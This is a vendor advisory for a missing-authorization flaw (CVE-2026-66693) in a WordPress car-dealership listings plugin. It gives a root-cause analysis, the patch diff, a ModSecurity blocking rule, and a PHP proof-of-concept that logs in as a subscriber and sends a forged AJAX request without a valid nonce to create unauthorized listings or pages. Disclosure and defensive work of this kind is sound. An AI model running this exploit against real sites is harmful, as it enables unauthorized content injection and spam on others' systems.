Opens in a new tab
Published : November 15, 2026

CVE-2026-66693: Motors – Car Dealership & Classified Listings Plugin <= 1.4.113 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.4.113
Patched Version 1.4.114
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66693: The Motors Car Dealership & Classified Listings plugin for WordPress versions up to 1.4.113 contains a missing authorization vulnerability in its AJAX listing submission handler. The handler lacks capability checks and nonce verification, allowing authenticated attackers with subscriber-level access to create, edit, or manipulate vehicle listings that they should not be able to modify. The CVSS score is 4.3, reflecting the need for authentication and the limited impact on integrity and confidentiality.

The root cause is the absence of proper authorization in the AJAX action responsible for saving vehicle listings. In `includes/vehicle_functions.php`, the function that processes the listing submission (lines 1096-1566) calls `check_ajax_referer( ‘stm_security_nonce’, ‘security’, false )` which does not enforce the nonce because the third argument is false, making it optional. Additionally, there is no `current_user_can()` check to verify that the user has the capability to edit or create listings. The `$btn_type` parameter is taken directly from `$_POST` without validation, and the `custom_listing_type` parameter is used to set the post type without verifying it against allowed types. This allows an attacker to supply arbitrary values, such as setting `btn-type` to `pay` or `add`, and to specify a `custom_listing_type` that may not be permitted.

An attacker with subscriber-level access can exploit this vulnerability by sending a POST request to `/wp-admin/admin-ajax.php` with the AJAX action that triggers this function (likely `stm_ajax_add_car` or similar, as used by the plugin). The request must include the `btn-type` parameter set to `add`, `pay`, `edit`, or `edit-ppl`, and may include `custom_listing_type` to choose an arbitrary post type. The nonce parameter (`security`) can be omitted or set to an invalid value because the check is non-fatal. This allows the attacker to create a new listing of an arbitrary post type (e.g., `page`, `post`, or a custom post type) or to edit an existing listing if they can guess or supply a `stm_current_car_id` that they own (though ownership is checked). However, due to the missing authorization, they can bypass restrictions on available posts (e.g., via the `btn-type` `add` check) and potentially perform actions reserved for higher roles.

The patch addresses the issue by enforcing the nonce check (removing the `false` parameter, making it mandatory) and adding multiple validation steps. It validates the `btn-type` against a whitelist of allowed values (`add`, `pay`, `edit`, `edit-ppl`). It validates the `custom_listing_type` against an allowed list derived from the `stm_listings_multi_type` filter and ensures it matches the default post type. It checks that the post type of any existing listing being edited (`stm_current_car_id`) is within the allowed list. It also ensures that if `btn-type` is `edit` or `edit-ppl`, the request must be updating an existing listing. These changes prevent unauthorized manipulation by ensuring only valid, expected parameters are accepted and that the user cannot bypass intended restrictions. The version is bumped to 1.4.114.

The impact of exploitation is unauthorized creation or modification of vehicle listings, potentially injecting malicious content, modifying data, or abusing the listing system. This could lead to content spoofing, SEO spam, or resource exhaustion. While the CVSS score is moderate, the ability to perform unauthorized actions as a low-privileged user is a significant security concern. The vulnerability is limited to authenticated users, so it does not allow unauthenticated access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/motors-car-dealership-classified-listings/includes/vehicle_functions.php
+++ b/motors-car-dealership-classified-listings/includes/vehicle_functions.php
@@ -1096,7 +1096,7 @@
 			wp_send_json( $response );
 		}

-		check_ajax_referer( 'stm_security_nonce', 'security', false );
+		check_ajax_referer( 'stm_security_nonce', 'security' );

 		$response     = array();
 		$first_step   = array();
@@ -1135,6 +1135,40 @@
 			);
 		}

+		$btn_type = '';
+		if ( isset( $_POST['btn-type'] ) ) {
+			$btn_type = sanitize_key( wp_unslash( $_POST['btn-type'] ) );
+		}
+
+		$allowed_btn_types = array( 'add', 'pay', 'edit', 'edit-ppl' );
+		if ( ! in_array( $btn_type, $allowed_btn_types, true ) ) {
+			$response['message'] = esc_html__( 'Unknown action', 'stm_vehicles_listing' );
+			wp_send_json( $response );
+		}
+
+		$default_listing_type = sanitize_key( apply_filters( 'stm_listings_post_type', 'listings' ) );
+		$allowed_listing_types = (array) apply_filters( 'stm_listings_multi_type', array( $default_listing_type ) );
+		$allowed_listing_types = array_map( 'sanitize_key', $allowed_listing_types );
+		$allowed_listing_types = array_values( array_unique( array_filter( $allowed_listing_types ) ) );
+
+		if ( ! in_array( $default_listing_type, $allowed_listing_types, true ) ) {
+			$allowed_listing_types[] = $default_listing_type;
+		}
+
+		$listing_post_type = $default_listing_type;
+		if ( ! empty( $_POST['custom_listing_type'] ) ) {
+			$requested_listing_type = sanitize_key( wp_unslash( $_POST['custom_listing_type'] ) );
+
+			if ( in_array( $requested_listing_type, $allowed_listing_types, true ) ) {
+				$listing_post_type = $requested_listing_type;
+			} else {
+				$response['message'] = esc_html__( 'Unknown listing type', 'stm_vehicles_listing' );
+				wp_send_json( $response );
+			}
+		}
+
+		$slug = $listing_post_type;
+
 		$update = false;
 		if ( ! empty( $_POST['stm_current_car_id'] ) ) {
 			$post_id  = intval( $_POST['stm_current_car_id'] );
@@ -1145,6 +1179,16 @@
 			if ( intval( $car_user ) !== intval( $user['user_id'] ) ) {
 				return false;
 			}
+
+			if ( ! in_array( get_post_type( $post_id ), $allowed_listing_types, true ) ) {
+				$response['message'] = esc_html__( 'Unknown listing type', 'stm_vehicles_listing' );
+				wp_send_json( $response );
+			}
+		}
+
+		if ( in_array( $btn_type, array( 'edit', 'edit-ppl' ), true ) && ! $update ) {
+			$response['message'] = esc_html__( 'Unknown action', 'stm_vehicles_listing' );
+			wp_send_json( $response );
 		}

 		/*Get first step*/
@@ -1179,21 +1223,16 @@
 			);
 		}

-		if ( isset( $_POST['btn-type'] ) && 'pay' === $_POST['btn-type'] ) {
+		if ( 'pay' === $btn_type ) {
 			/*Get if Pay Per Listing no available posts*/
 			if ( ( ! apply_filters( 'mvl_is_woocommerce_active', false ) || ! apply_filters( 'is_mvl_pro', false ) ) ) {
 				$response['message'] = esc_html__( 'WooCommerce or Motors Pro is not active', 'stm_vehicles_listing' );
 				$error               = true;
 			}
-		} else {
-			if ( isset( $_POST['btn-type'] ) && 'add' === $_POST['btn-type'] ) {
-				/*Get if no available posts*/
-				if ( $restrictions['posts'] < 1 ) {
-					$response['message'] = esc_html__( 'You do not have available posts', 'stm_vehicles_listing' );
-					$error               = true;
-				}
-			} elseif ( ! isset( $_POST['btn-type'] ) ) {
-				$response['message'] = esc_html__( 'Unknown action', 'stm_vehicles_listing' );
+		} elseif ( 'add' === $btn_type ) {
+			/*Get if no available posts*/
+			if ( $restrictions['posts'] < 1 ) {
+				$response['message'] = esc_html__( 'You do not have available posts', 'stm_vehicles_listing' );
 				$error               = true;
 			}
 		}
@@ -1287,7 +1326,7 @@
 			$generic_title = sanitize_text_field( $_POST['stm_car_main_title'] );
 		}

-		if ( apply_filters( 'motors_vl_get_nuxy_mod', false, 'enable_plans' ) && apply_filters( 'stm_is_multiple_plans', false ) && 'pay' !== $_POST['btn-type'] ) {
+		if ( apply_filters( 'motors_vl_get_nuxy_mod', false, 'enable_plans' ) && apply_filters( 'stm_is_multiple_plans', false ) && 'pay' !== $btn_type ) {
 			if ( empty( $_POST['selectedPlan'] ) && ! current_user_can( 'manage_options' ) ) {
 				$error               = true;
 				$response['message'] = esc_html__( 'Please select plan', 'stm_vehicles_listing' );
@@ -1308,21 +1347,16 @@
 				$status = 'publish';
 			}

-			if ( isset( $_POST['btn-type'] ) && 'pay' === $_POST['btn-type'] ) {
+			if ( 'pay' === $btn_type ) {
 				$status = 'pending';
 			}

 			$post_data = array(
-				'post_type'   => apply_filters( 'stm_listings_post_type', 'listings' ),
+				'post_type'   => $listing_post_type,
 				'post_title'  => '',
 				'post_status' => $status,
 			);

-			if ( ! empty( $_POST['custom_listing_type'] ) ) {
-				$post_data['post_type'] = sanitize_text_field( $_POST['custom_listing_type'] );
-				$slug                   = sanitize_text_field( $_POST['custom_listing_type'] );
-			}
-
 			if ( ! $update && apply_filters( 'stm_get_wpb_def_tmpl', false ) ) {
 				$post_data['post_content'] = apply_filters( 'stm_get_wpb_def_tmpl', false );
 			} elseif ( ! defined( 'WPB_VC_VERSION' ) ) {
@@ -1532,13 +1566,13 @@
 						delete_post_meta( $post_id, $tax );
 					}
 				}
-				update_post_meta( $post_id, 'publication_type', $_POST['btn-type'] );
+				update_post_meta( $post_id, 'publication_type', $btn_type );
 				update_post_meta( $post_id, 'title', 'hide' );
 				update_post_meta( $post_id, 'breadcrumbs', 'show' );
 				update_post_meta( $post_id, 'car_mark_as_sold', '' );

 				$response['post_id']       = $post_id;
-				$response['redirect_type'] = sanitize_text_field( $_POST['btn-type'] );
+				$response['redirect_type'] = $btn_type;
 				if ( ( $update ) ) {
 					$response['message'] = esc_html__( 'Listing Updated, uploading photos', 'stm_vehicles_listing' );
 				} else {
@@ -1559,7 +1593,7 @@

 				update_post_meta( $post_id, 'stm_car_user', $user['user_id'] );

-				if ( apply_filters( 'stm_is_multiple_plans', false ) && 'pay' !== $_POST['btn-type'] ) {
+				if ( apply_filters( 'stm_is_multiple_plans', false ) && 'pay' !== $btn_type ) {
 					$plan_id = filter_var( $_POST['selectedPlan'], FILTER_SANITIZE_NUMBER_INT );

 					if ( $update ) {
--- a/motors-car-dealership-classified-listings/stm_vehicles_listing.php
+++ b/motors-car-dealership-classified-listings/stm_vehicles_listing.php
@@ -8,7 +8,7 @@
  * License: GNU General Public License v2 or later
  * License URI: http://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: stm_vehicles_listing
- * Version: 1.4.113
+ * Version: 1.4.114
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -50,7 +50,7 @@
 	define( 'STM_LISTINGS_URL', plugins_url( '', STM_LISTINGS_FILE ) );
 	define( 'STM_LISTINGS', 'stm_vehicles_listing' );
 	define( 'STM_THEME_V_NEED', '5.6.33' );
-	define( 'STM_LISTINGS_V', '1.4.113' );
+	define( 'STM_LISTINGS_V', '1.4.114' );
 	define( 'STM_LISTINGS_DB_VERSION', '1.0.0' );
 	define( 'STM_LISTINGS_IMAGES', STM_LISTINGS_URL . '/includes/admin/butterbean/images/' );
 }
--- a/motors-car-dealership-classified-listings/vendor/composer/installed.php
+++ b/motors-car-dealership-classified-listings/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'motors_vehicles_listing/plugin',
         'pretty_version' => 'dev-release',
         'version' => 'dev-release',
-        'reference' => '31fa101b56cf9b972f0de55eb1bccd54213aaade',
+        'reference' => 'a5c882e9fa947e250fa7b9bdda5fb32dd0dc91b2',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'motors_vehicles_listing/plugin' => array(
             'pretty_version' => 'dev-release',
             'version' => 'dev-release',
-            'reference' => '31fa101b56cf9b972f0de55eb1bccd54213aaade',
+            'reference' => 'a5c882e9fa947e250fa7b9bdda5fb32dd0dc91b2',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66693
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266693,phase:2,deny,status:403,chain,msg:'CVE-2026-66693 via Motors plugin AJAX listing submission',severity:'CRITICAL',tag:'CVE-2026-66693'"
  SecRule ARGS_POST:action "@streq stm_ajax_add_car" "chain"
    SecRule ARGS_POST:btn-type "!@rx ^(add|pay|edit|edit-ppl)$" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66693 - Motors – Car Dealership & Classified Listings Plugin <= 1.4.113 - Missing Authorization

// Set target URL and credentials for a subscriber-level user
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to WordPress and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://example.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => 'http://example.com/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Craft the AJAX request to create a listing
$data = [
    'action' => 'stm_ajax_add_car', // Replace with actual action name from plugin
    'btn-type' => 'add',
    'stm_car_main_title' => 'Exploited Listing',
    'custom_listing_type' => 'page', // Attempt to create a page as listing
    // Omit nonce or provide invalid nonce
    'security' => 'invalid'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";
// If successful, the response will indicate listing creation.

// Clean up cookies
@unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.